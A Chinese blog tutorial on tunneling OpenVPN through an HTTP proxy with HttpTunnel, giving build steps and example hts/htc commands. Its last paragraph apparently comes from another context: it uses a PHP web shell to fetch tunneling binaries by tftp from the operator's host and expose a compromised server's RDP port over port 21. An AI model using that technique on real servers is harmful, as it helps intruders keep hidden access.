雖然Open×××支持HTTP Proxy,但是Open×××使用的代理必須支持CONNECT這個方法,如果不支持,那Open×××就無能爲力了,似乎還有一個叫Htun的也行,具體還沒有細看。
目前使用HttpTunnel和Open×××配合可以穿透HTTP代理。
HttpTunnel官方網站: http://www.nocrew.org/software/httptunnel.html
Open×××官方網站: http://open***.net/
存在的問題:
1、HttpTunnel服務器端目前不支持多客戶同時連接,和Open××× 1.x差不多,要有多個少個客戶就需要啓動多少個hts進程。
Q: My friend runs hts at port 8888, but when I try to connect to it, there is no response.
A: As for now, hts can't handle multiple tunnels. You must run your own instance of hts listening to another port.
2、htc啓動後,如果有客戶連接並斷開後,htc會自動退出(至少我在Linux試驗的是這樣的),所以需要寫一個shell腳本定期檢查htc進程是否退出。
轉載請保留以下信息:
作者: 溫佔考 (Zhankao WEN) wzk {AT} wenzk {DOT} net
原文出處: http://www.wenzk.net/ http://wenzk.cublog.cn/
請勿用於商業目的,謝謝
首先下載並安裝httptunnel程序,登錄 http://www.nocrew.org/software/httptunnel.html
# wget http://www.nocrew.org/software/httptunnel/httptunnel-3.0.5.tar.gz
# tar -zxvf httptunnel-3.0.5.tar.gz
# cd httptunnel-3.0.5
# ./configure
# make
# cp hts /usr/local/sbin/
# cp htc /usr/local/bin/
呵呵,安裝完畢,注意客戶端和服務器段都需要安裝httptunnel程序。
啓動Server端程序:
# hts -F OPEN×××_SERVER_IP:PORT 8888
OPEN×××_SERVER_IP:PORT 遠程Open×××服務器的IP地址和Open×××所監聽的端口,Open×××必須使用TCP協議,如果hts和Open×××在同一臺機器則可以使用localhost。
8888 爲hts監聽的端口。
HttpTunnel客戶端連接服務器:
# htc -F LISTEN_PORT -P PROXY_IP:PORT SERVER_IP:PORT
LISTEN_PORT htc本機監聽的端口(供其他程序連接的端口)。
PROXY_IP:PORT 代理服務器的IP和端口。
SERVER_IP:PORT HttpTunnel的IP和端口。
假設環境:
客戶機IP: 192.168.1.2
代理服務器IP: 192.168.1.1 端口: 8080
Open×××服務器地址: 61.1.1.2 端口: 1194
服務器端運行:
# hts -F localhost:1194 8888
客戶機運行:
# htc -F 2222 -P 192.168.1.1:8080 61.1.1.2:8888
Open×××客戶端設置更改:
把配置文件中的remote 61.1.1.2 1194 改成 remote localhost 2222 即可。
通過PHP Web Shell ( 命令:tftp -I myip get [file] ),將Httptunnel的服務器端程序hts.exe和所需要的cygwin1.dll兩個文件上傳到服務器。然後運行Httptunnel的服務器,命令如下:hts -F localhost:3389 21,這樣從21端口傳來的數據經過hts的"解封"處理之後,轉發給本地3389端口。